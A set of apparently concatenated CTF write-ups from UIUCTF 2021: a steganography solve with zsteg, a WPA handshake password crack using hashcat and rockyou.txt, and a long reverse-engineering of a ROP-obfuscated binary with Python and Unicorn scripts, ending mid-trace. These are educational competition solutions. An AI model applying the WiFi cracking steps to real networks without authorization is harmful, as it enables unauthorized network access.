**Description:** recently i've been converting strings into images for funsies and staring at them. anytime time to go share those images with my friends in discord! warning: staring at noise in visual form may or may not introduce you to the abyss **Solution:** Go to the discord of UIUCTF and check profile of ian5v (creator of this flag) You will find that ian5v has posted some weird looking emote - https://cdn.discordapp.com/emojis/870834335257882624.png?v=1 Download the emote and check it with zsteg: zsteg -a emote.png At payload "b1,r,lsb,xy" you will see the flag **Flag:** uiuctf{staring_at_pixels_is_fun}
# UIUCTF: CEO ![date](https://img.shields.io/badge/date-08.01.2021-brightgreen.svg) ![solved in time of CTF](https://img.shields.io/badge/solved-in%20time%20of%20CTF-brightgreen.svg) ![warmup category](https://img.shields.io/badge/category-misc-lightgrey.svg)![score](https://img.shields.io/badge/score-50-blue.svg)![solves](https://img.shields.io/badge/solves-197-brightgreen.svg) ## DescriptionYou just wirelessly captured the handshake of the CEO of a multi-million dollar company! Use your password cracking skills to get the password! Wrap the password in the flag format. E.g.: uiuctf{password} ## TagsMISC, Cracking, Beginner ## Attached files- [megacorp-01.cap](https://raw.githubusercontent.com/Diplodongus/CTFs/main/UIUCTF2021/attachments/megacorp-01.cap?raw=true)- [rockyou.txt](https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt) ## SummaryThis challenge gave a packet capture that contained a wireless connection to an AP with SSID joesheer. I was able to decrypt the password using hashcat version 6.2.3. ## Flag```uiuctf{nanotechnology}``` ## Required SoftwareHashcat ```sudo apt install hashcat``` ## Detailed solutionThe first thing I did was open the pcap file in wireshark to see if there was any low-hanging fruit; maybe the password is unencrypted. (Based off the tags, this is obviously not true, but always worth trying.) Wireshark tells us that there is a connection to the SSID “joesheer”. ![Wireshark Screenshot](https://raw.githubusercontent.com/Diplodongus/CTFs/main/UIUCTF2021/img/CEO/1-wireshark.png?raw=true "Wireshark Screenshot") From here, I used an online-based cap-to-hccapx converter to put the file in the format that hashcat can utilize properly. (I used https://www.onlinehashcrack.com/tools-cap-to-hccapx-converter.php) ```**IMPORTANT NOTE:**IF YOU ARE FOLLOWING THIS WITH SENSITIVE INFORMATION I.E. A CLIENT DO NOT SEND INFORMATION TO 3RD PARTIES SUCH AS THE WEBSITE ABOVE. YOU HAVE NO CONTROL OVER WHAT THEY SAVE AND ANYTHING YOU SEND CAN POTENTIALLY BE LEAKED To do this with more sensitive information / offline, I would recommend using the official hashcat-utils cap2hccapx.c file. (https://github.com/hashcat/hashcat-utils/blob/master/src/cap2hccapx.c)``` ![HCCAPX Conversion](https://raw.githubusercontent.com/Diplodongus/CTFs/main/UIUCTF2021/img/CEO/2-hccapx.png?raw=true "HCCAPX Conversion from external site") Now that I had the file in the correct format, I could use hashcat to crack the file. You must also have a password dictionary for hashcat to try with. I used the official rockyou.txt file which is attached. ```hashcat -m 2500 wifi.hccapx rockyou.txt --show```![Hashcat Output](https://raw.githubusercontent.com/Diplodongus/CTFs/main/UIUCTF2021/img/CEO/3-hashcat.png?raw=true "Output from Hashcat") (Screenshot is in PowerShell, but essentially the same output.) Within 6 seconds, my GPU was able to crack the WiFi password, and the flag is uiuctf{nanotechnology}.
# I - Intro *ropfuscated* is composed of a single but huge (4.1MiB, that's about half of the Linux kernel installed on my laptop) x86-64 Linux binary.Running it for the first time, we are greated by a message asking us to draw a patern with the mouse in a way that mimic the Android lockscreen.Some ANSI terminal magic allows the program to follow the mouse and draw the pattern with tildes. After releasing the left click, the program checks the pattern and awnsers `Sorry, try again!`. Throwing the executable into Ghidra reveals next to nothing, there is a `main()` function that initialize the terminal stuff and then a simple function `rop()` is called :``` rop00401310 LEA RSP,[rop_chain]00401318 RET```That's where the fun part begins, all the logic of the program is made using a rop chain. The stack is now hardcoded and tons of return pointers will be poped for executing gadgets. This is like programming in the weirdest instruction set you can think of. We can extract the rop chain by first determining its size, with a quick look at the end of the `.data` section we can determine where all zeroes begin and the rop chain ends. It's then trivial to extract the 2.6MiB of return addresses. # II - Extracting gadgets and building the pseudocode First we'll determine the list of gadgets used by the rop chain. For that I wanted to differentiate the data from the pointers to code. It's easly done by a python script with the sections of the ELF hardcoded :```pythonimport struct text_start = 0x04010c0text_end = text_start + 0x0395 data_start = 0x0404060data_end = data_start + 0x0410010 with open("rop_chain", "rb") as f: while True: try: addr = struct.unpack("<Q", f.read(8))[0] except struct.error: break if addr >= text_start and addr < text_end: print("gadget : 0x%08X" % addr) elif addr >= data_start and addr < data_end: print("data @ 0x%08X" % addr) else: print("data : 0x%08X" % addr)``````console$ python3 code_vs_data.py | grep gadget | sort -u | wc -l118```So we got 118 gadgets, that's not a lot, we can probably identify them by hand.For that we'll need the code of said gadgets, I used `pwntools` because it includes an ELF parser with an easy to use disassembler :```pythonfrom pwn import * e = ELF("./ropfuscated") while True: g_addr = int(input(), 16) s = e.disasm(g_addr, 128).split("ret \n") if len(s) <= 1: raise Exception("ret not found !") print("Gadget @ 0x%08X : " % g_addr, end="") d = s[0] + "ret" outs = "" for l in d.split("\n"): ls = l[len(" 40132a: c3 "):].strip() if ls != "": outs += ls + ";" print(outs)````pwntools` produces a disassembly meant for humans with whitespaces making it easier to read. So if you're wondering what's all those weird strings manipulations, it's only for dealing with that.```console$ python3 code_vs_data.py | grep gadget | sort -u | cut -d ":" -f 2 | python3 gadget_disass.py > gadgets.txt```After cleaning the file, I wrote some form of pseudocode for each gadgets. It's not really consistent but it should be good enough for our purpose :```Gadget @ 0x004010EF : nop;endbr64;ret; # endbr64Gadget @ 0x004010F0 : endbr64;ret; # endbr64Gadget @ 0x0040111E : xchg ax, ax;ret; # nopGadget @ 0x00401160 : ret; # nopGadget @ 0x0040118E : ret; # nopGadget @ 0x0040118F : nop;ret; # nopGadget @ 0x00401303 : add eax, 0xfffd57e8;dec ecx;ret; # eax += 0xfffd57e8 && ecx--Gadget @ 0x0040130A : ret; # nopGadget @ 0x00401313 : and eax, 0x414070;ret; # eax &= 0x414070Gadget @ 0x0040131C : ret; # nopGadget @ 0x00401325 : syscall;cmp rax, rbx;ret; # syscall && cmp rax, rbxGadget @ 0x00401326 : add eax, 0xc3d83948;cmp rcx, rbx;ret; # eax += 0xc3d83948 && cmp rax, rbxGadget @ 0x00401327 : cmp rax, rbx;ret; # cmp rax, rbxGadget @ 0x00401328 : cmp eax, ebx;ret; # cmp eax, ebxGadget @ 0x0040132A : ret; # nopGadget @ 0x0040132B : cmp rcx, rbx;ret; # cmp rcx, rbxGadget @ 0x0040132C : cmp ecx, ebx;ret; # cmp ecx, ebxGadget @ 0x0040132F : xor rax, rax;ret; # rax ^= raxGadget @ 0x00401330 : xor eax, eax;ret; # eax ^= eaxGadget @ 0x00401331 : rol bl, 0x48;sub eax, ebx;ret; # rol bl, 0x48 && eax -= ebxGadget @ 0x00401334 : sub eax, ebx;ret; # eax -= ebxGadget @ 0x00401336 : ret; # nopGadget @ 0x00401337 : xchg rbx, rax;ret; # rbx, rax = rax, rbxGadget @ 0x00401338 : xchg ebx, eax;ret; # ebx, eax = eax, ebxGadget @ 0x00401339 : ret; # nopGadget @ 0x0040133A : xchg rcx, rax;ret; # rcx, rax = rax, rcxGadget @ 0x0040133B : xchg ecx, eax;ret; # ecx, eax = eax, ecxGadget @ 0x0040133C : ret; # nopGadget @ 0x0040133D : xchg rcx, rbx;ret; # rbx, rcx = rcx, rbxGadget @ 0x0040133E : xchg ecx, ebx;ret; # ebx, ecx = ecx, ebxGadget @ 0x00401340 : ret; # nopGadget @ 0x00401341 : mov rax, rsp;ret; # rax = rspGadget @ 0x00401342 : mov eax, esp;ret; # eax = espGadget @ 0x00401344 : ret; # nopGadget @ 0x0040134E : pop rax;pop rax;pop rax;ret; # rax = {pop} && rax = {pop} && rax = {pop}Gadget @ 0x00401350 : pop rax;ret; # rax = {pop}Gadget @ 0x00401351 : ret; # nopGadget @ 0x00401352 : xchg rsi, rax;ret; # rsi, rax = rax, rsiGadget @ 0x00401353 : xchg esi, eax;ret; # esi, eax = eax, esiGadget @ 0x00401354 : ret; # nopGadget @ 0x00401355 : mov rcx, rax;ret; # rcx = raxGadget @ 0x00401357 : rol ebx, 0x48;mov ebx, ecx;ret; # rol ebx, 0x48 && ebx = ecxGadget @ 0x00401358 : ret; # nopGadget @ 0x00401359 : mov rbx, rcx;ret; # rbx = rcxGadget @ 0x0040135A : mov ebx, ecx;ret; # ebx = ecxGadget @ 0x0040135D : mov rax, QWORD PTR [rbx];ret; # rax = *rbxGadget @ 0x00401361 : mov rbx, QWORD PTR [rax];ret; # rbx = *raxGadget @ 0x00401363 : sbb bl, al;mov rcx, QWORD PTR [rax];ret; # bl -= al (borrow) && rcx = *raxGadget @ 0x00401364 : ret; # nopGadget @ 0x00401365 : mov rcx, QWORD PTR [rax];ret; # rcx = *raxGadget @ 0x00401367 : or bl, al;mov QWORD PTR [rax], rcx;ret; # bl |= al && *rax = rcxGadget @ 0x00401368 : ret; # nopGadget @ 0x00401369 : mov QWORD PTR [rax], rcx;ret; # *rax = rcxGadget @ 0x0040136C : ret; # nopGadget @ 0x0040136D : mov QWORD PTR [rax], rbx;ret; # *rax = rbxGadget @ 0x00401370 : ret; # nopGadget @ 0x00401371 : mov QWORD PTR [rbx], rax;ret; # *rbx = raxGadget @ 0x00401374 : ret; # nopGadget @ 0x00401375 : sete al;ret; # al = ZFGadget @ 0x00401376 : xchg esp, eax;rol bl, 0x48;cmove eax, ebx;ret; # esp, eax = eax, esp && rol bl, 0x48 && if ZF : eax = ebxGadget @ 0x00401377 : rol bl, 0x48;cmove eax, ebx;ret; # rol bl, 0x48 && if ZF : eax = ebxGadget @ 0x00401378 : ret; # nopGadget @ 0x00401379 : cmove rax, rbx;ret; # if ZF : rax = rbxGadget @ 0x0040137B : rex.R ret;ret; # nopGadget @ 0x0040137C : ret; # nopGadget @ 0x0040137D : ret; # nopGadget @ 0x0040137E : setl al;ret; # al = LESSGadget @ 0x00401380 : rol bl, 0x48;cmovl eax, ebx;ret; # rol bl, 0x48 && if LESS : eax = ebxGadget @ 0x00401382 : cmovl rax, rbx;ret; # if LESS : rax = rbxGadget @ 0x00401383 : cmovl eax, ebx;ret; # if LESS : eax = ebxGadget @ 0x00401384 : rex.WR ret;ret; # nopGadget @ 0x00401385 : ret; # nopGadget @ 0x00401386 : ret; # nopGadget @ 0x00401387 : sets al;ret; # al = SIGNGadget @ 0x00401389 : rol bl, 0x48;cmovs eax, ebx;ret; # rol bl, 0x48 && if SIGN : eax = ebxGadget @ 0x0040138A : ret; # nopGadget @ 0x0040138D : rex.W ret;ret; # nopGadget @ 0x0040138E : ret; # nopGadget @ 0x0040138F : ret; # nopGadget @ 0x00401391 : xchg edx, eax;rol bl, 0x48;cmovb eax, ebx;ret; # edx, eax = eax, edx && rol bl, 0x48 && if BELOW : eax = ebxGadget @ 0x00401393 : ret; # nopGadget @ 0x00401394 : cmovb rax, rbx;ret; # if BELOW : rax = rbxGadget @ 0x00401396 : rex.X ret;ret; # nopGadget @ 0x00401398 : ret; # nopGadget @ 0x0040139C : ret; # nopGadget @ 0x004013A1 : ret; # nopGadget @ 0x004013A5 : ret; # nopGadget @ 0x004013A8 : add eax, ebx;add rax, rbx;ret; # eax += ebx && rax += rbxGadget @ 0x004013A9 : ret; # nopGadget @ 0x004013AA : add rax, rbx;ret; # rax += rbxGadget @ 0x004013AB : add eax, ebx;ret; # eax += ebxGadget @ 0x004013AE : xor rax, rbx;ret; # rax ^= rbxGadget @ 0x004013AF : xor eax, ebx;ret; # eax ^= ebxGadget @ 0x004013B1 : ret; # nopGadget @ 0x004013B4 : ret; # nopGadget @ 0x004013B6 : ret; # nopGadget @ 0x004013B7 : pop rbx;ret; # rbx = {pop}Gadget @ 0x004013B9 : pop rcx;ret; # rcx = {pop}Gadget @ 0x004013BA : ret; # nopGadget @ 0x004013BE : ret; # nopGadget @ 0x004013C0 : ret; # nopGadget @ 0x004013C1 : pop rsi;ret; # rsi = {pop}Gadget @ 0x004013C2 : ret; # nopGadget @ 0x004013C3 : pop rdi;ret; # rdi = {pop}Gadget @ 0x004013C4 : ret; # nopGadget @ 0x004013C7 : ret; # nopGadget @ 0x004013CA : ret; # nopGadget @ 0x004013CC : pop rdx;ret; # rdx = {pop}Gadget @ 0x004013D0 : ret; # nopGadget @ 0x004013D3 : ret; # nopGadget @ 0x004013DF : ret; # nopGadget @ 0x0040143E : pop r13;pop r14;pop r15;ret; # r13 = {pop} && r14 = {pop} && r15 = {pop}Gadget @ 0x0040143F : pop rbp;pop r14;pop r15;ret; # rbp = {pop} && r14 = {pop} && r15 = {pop}Gadget @ 0x00401444 : ret; # nopGadget @ 0x00401445 : data16 nop WORD PTR cs:[rax+rax*1+0x0];endbr64;ret; # endbr64Gadget @ 0x00401446 : nop WORD PTR cs:[rax+rax*1+0x0];endbr64;ret; # endbr64Gadget @ 0x00401447 : nop DWORD PTR cs:[rax+rax*1+0x0];endbr64;ret; # endbr64Gadget @ 0x00401450 : endbr64;ret; # endbr64```Now we can combine those cleaned gadgets with our previous dump of the rop chain for having some form of pseudocode :```pythonimport structimport sys g = {} with open("gadgets.txt","r") as g_f: gadgets = g_f.read().split("\n") for l in gadgets: if l == "": continue addr = int(l.split("@")[1].split(":")[0].strip(), 16) dissas = l.split("#")[1].strip() dissas = [d.strip() for d in dissas.split("&&")] g[addr] = dissas stack = [] with open("rop_chain.txt", "r") as r_f: r_txt = r_f.read().split("\n") for l in r_txt: if l == "": continue if "gadget" in l: addr = int(l.split(":")[1].strip(), 16) stack.append((False, addr)) else: stack.append((True, l.strip())) current_pc = 0def pop(): global current_pc global stack v = stack[0] stack = stack[1:] current_pc += 8 return v while True: print("0x%08X : " % current_pc, end="") if current_pc & 0xfff == 0: print(hex(current_pc), file=sys.stderr) p = pop() if p[0]: print(p[1]) else: d = g[p[1]] first = True for i in d: if "{pop}" in i: a = pop() i = i.replace("{pop}", f"{a}") if first: print(i) first = False else: print(" " * 13 + i)```Okay, I admit it's hideous, but it's only for a single use and it should get the work done.```console$ time python3 disass_rop.py > /dev/nullreal 9m23.878suser 9m22.004ssys 0m0.067s```Well not only it's hideous, it's also slow. There are probably way better ways to do this but I'm lazy and I was doing something else when I ran this. We shouldn't have to reuse it anyway.(Notice that for the purpose of the WU I wrote to `/dev/null`, writing in a file was probably way slower). Just for the sake of it I rewrote `pop` properly :```pythondef pop(): global current_pc v = stack[current_pc // 8] current_pc += 8 return v``````console$ time python3 disass_rop.py > /dev/nullreal 0m0.599suser 0m0.577ssys 0m0.020s```I'm still wondering how I'm able to solve that challenge when I don't even have basic algorithmic skills. The output we got is huge (around 25k lines long) and should probably not be analyzed manually.The first place I went to was the few uses of the gadget with the `syscall` instruction. This is where our I/O should be handled. Only 3 syscalls are used `read`, `write` and `exit` moreover `read` and `write` always uses a buffer that is 1 byte long.Poking around in this mess reveal something quite interesting, the same addresses are used over and over again, it's like it had been compiled from an other instruction set and these addresses correspond to where the registers are stored. We ~~should~~ could write an other disassembler, but I didn't want to, why not go the dynamic route ? # III - Emulating and tracing the binary I used [Unicorn](https://www.unicorn-engine.org/) for emulating the binary. Because the only real interactions the code has with the kernel are these simple syscalls, it's quite easy to do :```pythonimport sysimport ttyfrom unicorn import *from unicorn.x86_const import * mu = Uc(UC_ARCH_X86, UC_MODE_64)# mu.mem_map(0x004010c0, 0x00395) # textmu.mem_map(0x00401000, 0x01000) # text# mu.mem_map(0x00404060, 0x00410010) # datamu.mem_map(0x00404000, 0x00411000) # data# mu.mem_map(0x00814080, 0x060) # bss with open("ropfuscated", "rb") as f: f.seek(0x000010c0) mu.mem_write(0x004010c0, f.read(0x00395)) f.seek(0x00003060) mu.mem_write(0x00404060, f.read(0x00410010)) log_file = open("unicorn.log", "w") def hook_syscall(mu, user_data): rax = mu.reg_read(UC_X86_REG_RAX) if rax == 1: b = mu.mem_read(mu.reg_read(UC_X86_REG_RSI), 1) sys.stdout.buffer.write(b) sys.stdout.buffer.flush() elif rax == 0: b = sys.stdin.buffer.read(1) mu.mem_write(mu.reg_read(UC_X86_REG_RSI), b) else: print("syscall", rax) def hook_ret(mu, address, size, user_data): if size != 1: return if mu.mem_read(address, 1) != b"\xc3": return rsp = mu.reg_read(UC_X86_REG_RSP) rip = mu.reg_read(UC_X86_REG_RIP) rax = mu.reg_read(UC_X86_REG_RAX) rbx = mu.reg_read(UC_X86_REG_RBX) rcx = mu.reg_read(UC_X86_REG_RCX) rdx = mu.reg_read(UC_X86_REG_RDX) rsi = mu.reg_read(UC_X86_REG_RSI) rdi = mu.reg_read(UC_X86_REG_RDI) log_file.write(("%016X " * 8 % (rip, rax, rbx, rcx, rdx, rsi, rdi, rsp - 0x00414070)) + "\n") mu.reg_write(UC_X86_REG_RSP, 0x00414070) mu.hook_add(UC_HOOK_INSN, hook_syscall, None, 1, 0, UC_X86_INS_SYSCALL)mu.hook_add(UC_HOOK_CODE, hook_ret) tty.setraw(0)mu.emu_start(0x00401318, 0x402000)```The details about the ELF file were hardcoded after being extracted with the `readelf` tool from `binutils`. Because x86 uses pages of 4KiB, the sections had to be expanded to be aligned. We can now run the script, painfully draw a pattern with the program running a hundred times slower and get 300MiB of traces ! # IV - The length check I ran the emulation multiple times with different patterns, with only 1 dot in each, and used `vim -d` for diffing them. No differences between the traces stand out.This is when I started using traces of patterns with different lengths, now something interesting is visible at the end of the diff. ```diff 0000000000401351 000000000040409C 00000000004040B4 000000000000048C 0000000000000001 0000000000404094 0000000000000001 000000000023E508 0000000000401368 000000000040409C 0000000000404018 000000000000000A 0000000000000001 0000000000404094 0000000000000001 000000000023E510 00000000004013B8 000000000040409C 0000000000404094 000000000000000A 0000000000000001 0000000000404094 0000000000000001 000000000023E520- 0000000000000003- 0000000000000003- 0000000000000003- 0000000000000003- 0000000000000003+ 0000000000000007+ 0000000000000007+ 0000000000000007+ 0000000000000007+ 0000000000000007 00000000004013B8 0000000000000000 0000000000404094 000000000000000A 0000000000000001 0000000000404094 0000000000000001 000000000023E560 0000000000401374 0000000000000000 0000000000404094 000000000000000A 0000000000000001 0000000000404094 0000000000000001 000000000023E568 0000000000401351 0000000000000000 0000000000404094 000000000000000A 0000000000000001 0000000000404094 0000000000000001 000000000023E578```(It's difficult to make things stand out in markdown so I edited all the diffs to only keep the registers that are different.) Looks like the length of the input is used in some way here. Let's take a look at the pseudocode between 0x23E508 and 0x23E578.```0x0023E508 : bl -= al (borrow) rcx = *rax0x0023E510 : rbx = (True, 'data @ 0x00404094')0x0023E520 : rax = *rbx0x0023E528 : rbx, rax = rax, rbx0x0023E530 : cmp rcx, rbx0x0023E538 : rax = (True, 'data : 0x00000000')0x0023E548 : al = ZF0x0023E550 : rbx = (True, 'data @ 0x00404094')0x0023E560 : *rbx = rax0x0023E568 : rax = (True, 'data : 0x00000000')0x0023E578 : rbx = (True, 'data @ 0x00404074')````cmp rcx, rbx` looks interesting. When `rsp` is 0x0023E530 `rbx` is our input length and `rcx` is 0xA. Let's try inputting a pattern of length 10. Running it with the emulator makes it quite obvious because now we have to wait way longer before obtaining the message of failure. We can assume the check is only performed after this comparaison when the input is 10 dot long. To make it easier to manipulate the traces, we can reduce them by recording only after rsp hit `0x0023E530`. Simply edit the emulation script :```pythonlog_file = open("uni_test.log", "w")is_recording = False ... def hook_ret(mu, address, size, user_data): global is_recording if size != 1: return if mu.mem_read(address, 1) != b"\xc3": return rsp = mu.reg_read(UC_X86_REG_RSP) if rsp == 0x06525A0: is_recording = True if not is_recording: return ...``` # V - The part where I guess way to much So now is the part where I guess a lot of stuff. I spent hours on this. I will talk about the important parts because I just can't talk about everything I tried and even if I could, I can't remember and didn't note what was useless. ## V.I - Input packing The first easy to spot part is the "packing" of our inputs :```diff 0000000000401351 0000000000404074 0000000000404070 FFFFFFFFFFFFFFFF 0000000000000001 00000000000005C6 0000000000000001 000000000024B3C0 0000000000401364 0000000000404074 FFFFFFFFFFA08D5C FFFFFFFFFFFFFFFF 0000000000000001 00000000000005C6 0000000000000001 000000000024B3C8 0000000000401351 0000000000404094 FFFFFFFFFFA08D5C FFFFFFFFFFFFFFFF 0000000000000001 00000000000005C6 0000000000000001 000000000024B3D8- 0000000000000001- 0000000000000001- 0000000000000001 0000000000000001- FFFFFFFFFFA08D5D 0000000000000001 0000000000000001- FFFFFFFFFFA08D5D 0000000000000001- FFFFFFFFFFA08D5D 0000000000000001- 0000000000000001- 0000000000000001- 0000000000000001- 0000000000000001- 0000000000000001- 0000000000000001- FFFFFFFFFFA08D5D- FFFFFFFFFFA08D5D- FFFFFFFFFFA08D5D FFFFFFFFFFA08D5D- FFFFFFFFFFA08D5E FFFFFFFFFFA08D5D FFFFFFFFFFA08D5D- FFFFFFFFFFA08D5E FFFFFFFFFFA08D5D- FFFFFFFFFFA08D5E FFFFFFFFFFA08D5D- FFFFFFFFFFA08D5D+ 0000000000000003+ 0000000000000003+ 0000000000000003 0000000000000003+ FFFFFFFFFFA08D5F 0000000000000003 0000000000000003+ FFFFFFFFFFA08D5F 0000000000000003+ FFFFFFFFFFA08D5F 0000000000000003+ 0000000000000003+ 0000000000000003+ 0000000000000003+ 0000000000000003+ 0000000000000003+ 0000000000000003+ FFFFFFFFFFA08D5F+ FFFFFFFFFFA08D5F+ FFFFFFFFFFA08D5F FFFFFFFFFFA08D5F+ FFFFFFFFFFA08D60 FFFFFFFFFFA08D5F FFFFFFFFFFA08D5F+ FFFFFFFFFFA08D60 FFFFFFFFFFA08D5F+ FFFFFFFFFFA08D60 FFFFFFFFFFA08D5F+ FFFFFFFFFFA08D5F 0000000000401368 00000000004040B4 0000000000404094 000000000000048C 0000000000000001 00000000000005C6 0000000000000001 000000000024B4B0 000000000040133C 000000000000048C 0000000000404094 00000000004040B4 0000000000000001 00000000000005C6 0000000000000001 000000000024B4B8 00000000004013B8 000000000000048C 00000000004040AC 00000000004040B4 0000000000000001 00000000000005C6 0000000000000001 000000000024B4C8```So it looks like our input is added to that `0xFFFFFFFFFFA08D5C` constant and incremented. We can use grep to check that this part is repeated for each input :```console$ grep 000000000024B3D8 unicorn.log0000000000401351 0000000000404094 FFFFFFFFFFCF05EA FFFFFFFFFFFFFFFF 0000000000000001 00000000000005C6 0000000000000001 000000000024B3D80000000000401351 0000000000404094 FFFFFFFFFFA08D5C FFFFFFFFFFFFFFFF 0000000000000001 00000000000005C6 0000000000000001 000000000024B3D80000000000401351 0000000000404094 FFFFFFFFFF81811E FFFFFFFFFFFFFFFF 0000000000000001 00000000000005C6 0000000000000001 000000000024B3D80000000000401351 0000000000404094 FFFFFFFFFF8D5624 FFFFFFFFFFFFFFFF 0000000000000001 00000000000005C6 0000000000000001 000000000024B3D80000000000401351 0000000000404094 FFFFFFFFFFD04FD8 FFFFFFFFFFFFFFFF 0000000000000001 00000000000005C6 0000000000000001 000000000024B3D80000000000401351 0000000000404094 FFFFFFFFFFDA47C6 FFFFFFFFFFFFFFFF 0000000000000001 00000000000005C6 0000000000000001 000000000024B3D80000000000401351 0000000000404094 FFFFFFFFFFC045C7 FFFFFFFFFFFFFFFF 0000000000000001 00000000000005C6 0000000000000001 000000000024B3D80000000000401351 0000000000404094 FFFFFFFFFFCF865C FFFFFFFFFFFFFFFF 0000000000000001 00000000000005C6 0000000000000001 000000000024B3D80000000000401351 0000000000404094 FFFFFFFFFFCB2A45 FFFFFFFFFFFFFFFF 0000000000000001 00000000000005C6 0000000000000001 000000000024B3D80000000000401351 0000000000404094 FFFFFFFFFFBC2C2F FFFFFFFFFFFFFFFF 0000000000000001 00000000000005C6 0000000000000001 000000000024B3D8```So it is repeated 10 times, one per dot in our input, with different constants. ## V.II - The unique check So this is the part where I wasted most of my time, finding that needle in this entire farm is nearly impossible.I figured this out by starting my input with a 5 in one trace and not a 5 (or a 6) in the second. This is the condition for that needle to become a huge metal pillar.Now the trace that doesn't begin with a 5 is way bigger, looks like we went further in the check. A few diff blocks before the new part, we find this block that have values we know very well :```diff 0000000000401351 000000000040409C 00000000000004BD 000000000000048A 0000000000000001 0000000000404094 0000000000000001 0000000000259800 0000000000401368 000000000040409C 0000000000000421 000000000030FA15 0000000000000001 0000000000404094 0000000000000001 0000000000259808 0000000000401351 0000000000404094 0000000000000421 000000000030FA15 0000000000000001 0000000000404094 0000000000000001 0000000000259818- FFFFFFFFFFCF05EB- FFFFFFFFFFCF05EB- 0000000000000000 FFFFFFFFFFCF05EB- 0000000000000000 FFFFFFFFFFCF05EB 0000000000000000- 0000000000000000 0000000000000000 0000000000000000- 0000000000000000 0000000000000000- 0000000000000000 0000000000000000- 0000000000000000- 0000000000000000 0000000000000000- 0000000000000000 0000000000000000- 0000000000000000- 0000000000000000- 0000000000000000- 0000000000000000- 0000000000000000- 0000000000000000- 0000000000000000- 0000000000000000- 0000000000000000+ FFFFFFFFFFCF05F0+ FFFFFFFFFFCF05F0+ 0000000000000005 FFFFFFFFFFCF05F0+ 0000000000000005 FFFFFFFFFFCF05F0 0000000000000005+ 0000000000000005 0000000000000005 0000000000000005+ 0000000000000005 0000000000000005+ 0000000000000005 0000000000000005+ 0000000000000005+ 0000000000000005 0000000000000005+ 0000000000000005 0000000000000005+ 0000000000000005+ 0000000000000005+ 0000000000000005+ 0000000000000005+ 0000000000000005+ 0000000000000005+ 0000000000000005+ 0000000000000005+ 0000000000000005 0000000000401368 0000000000404094 000000000000048A 000000000000048A 0000000000000001 0000000000404094 0000000000000001 00000000002598F0 0000000000401339 000000000000048A 0000000000404094 000000000000048A 0000000000000001 0000000000404094 0000000000000001 00000000002598F8 000000000040135C 000000000000048A 000000000000048A 000000000000048A 0000000000000001 0000000000404094 0000000000000001 0000000000259900```Looks like our transformed input is added to 0x30FA15 and it, somehow, ended the check when we used a 5.Let's repeat what we did earlier and grep it :```console$ grep -n 0000000000259828 -A 1 unicorn_starts_with_5.log333253:000000000040133C 000000000048B310 FFFFFFFFFFB74CF6 0000000000404094 0000000000000001 0000000000404094 0000000000000001 0000000000259828333254-00000000004013AD 0000000000000006 FFFFFFFFFFB74CF6 0000000000404094 0000000000000001 0000000000404094 0000000000000001 0000000000259830--336557:000000000040133C 0000000000792F08 FFFFFFFFFF86D0FD 0000000000404094 0000000000000001 0000000000404094 0000000000000001 0000000000259828336558-00000000004013AD 0000000000000005 FFFFFFFFFF86D0FD 0000000000404094 0000000000000001 0000000000404094 0000000000000001 0000000000259830--339861:000000000040133C 000000000030FA15 FFFFFFFFFFCF05F0 0000000000404094 0000000000000001 0000000000404094 0000000000000001 0000000000259828339862-00000000004013AD 0000000000000005 FFFFFFFFFFCF05F0 0000000000404094 0000000000000001 0000000000404094 0000000000000001 0000000000259830$ grep -n 0000000000259828 -A 1 unicorn_doesnt_start_with_5.log333253:000000000040133C 000000000048B310 FFFFFFFFFFB74CF6 0000000000404094 0000000000000001 0000000000404094 0000000000000001 0000000000259828333254-00000000004013AD 0000000000000006 FFFFFFFFFFB74CF6 0000000000404094 0000000000000001 0000000000404094 0000000000000001 0000000000259830--336557:000000000040133C 0000000000792F08 FFFFFFFFFF86D0FD 0000000000404094 0000000000000001 0000000000404094 0000000000000001 0000000000259828336558-00000000004013AD 0000000000000005 FFFFFFFFFF86D0FD 0000000000404094 0000000000000001 0000000000404094 0000000000000001 0000000000259830--339861:000000000040133C 000000000030FA15 FFFFFFFFFFCF05EB 0000000000404094 0000000000000001 0000000000404094 0000000000000001 0000000000259828339862-00000000004013AD 0000000000000000 FFFFFFFFFFCF05EB 0000000000404094 0000000000000001 0000000000404094 0000000000000001 0000000000259830--343165:000000000040133C 000000000002378E FFFFFFFFFFFDC874 0000000000404094 0000000000000001 0000000000404094 0000000000000001 0000000000259828343166-00000000004013AD 0000000000000002 FFFFFFFFFFFDC874 0000000000404094 0000000000000001 0000000000404094 0000000000000001 0000000000259830--346469:000000000040133C 000000000006596D FFFFFFFFFFF9A69A 0000000000404094 0000000000000001 0000000000404094 0000000000000001 0000000000259828346470-00000000004013AD 0000000000000007 FFFFFFFFFFF9A69A 0000000000404094 0000000000000001 0000000000404094 0000000000000001 0000000000259830--349773:000000000040133C 0000000000135198 FFFFFFFFFFECAE6C 0000000000404094 0000000000000001 0000000000404094 0000000000000001 0000000000259828349774-00000000004013AD 0000000000000004 FFFFFFFFFFECAE6C 0000000000404094 0000000000000001 0000000000404094 0000000000000001 0000000000259830--353077:000000000040133C 0000000000375CCC FFFFFFFFFFC8A334 0000000000404094 0000000000000001 0000000000404094 0000000000000001 0000000000259828353078-00000000004013AD 0000000000000000 FFFFFFFFFFC8A334 0000000000404094 0000000000000001 0000000000404094 0000000000000001 0000000000259830```Interesting... Looking at the results it looks like our packed input (and some constants ?) are added with other constants and the program will stop checking when the result is not unique. ## V.III - The constants We now need two kinds of constants :- The ones that are inserted between our inputs- The ones that unpacks our inputs Using grep on traces makes it quite trivial :```console$ grep FFFFFFFFFFB74CF6 unicorn.log | head -n 100000000004013AD FFFFFFFFFFB74CF6 FFFFFFFFFFB74CF5 FFFFFFFFFFB74CF5 0000000000000001 0000000000000050 0000000000000001 0000000000246EC0$ grep 0000000000246EC0 unicorn.log00000000004013AD FFFFFFFFFFB74CF6 FFFFFFFFFFB74CF5 FFFFFFFFFFB74CF5 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFF86D0FD FFFFFFFFFF86D0FC FFFFFFFFFF86D0FC 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFFDC874 FFFFFFFFFFFDC873 FFFFFFFFFFFDC873 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFF9A69A FFFFFFFFFFF9A699 FFFFFFFFFFF9A699 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFECAE6C FFFFFFFFFFECAE6B FFFFFFFFFFECAE6B 0000000000000001 0000000000000050 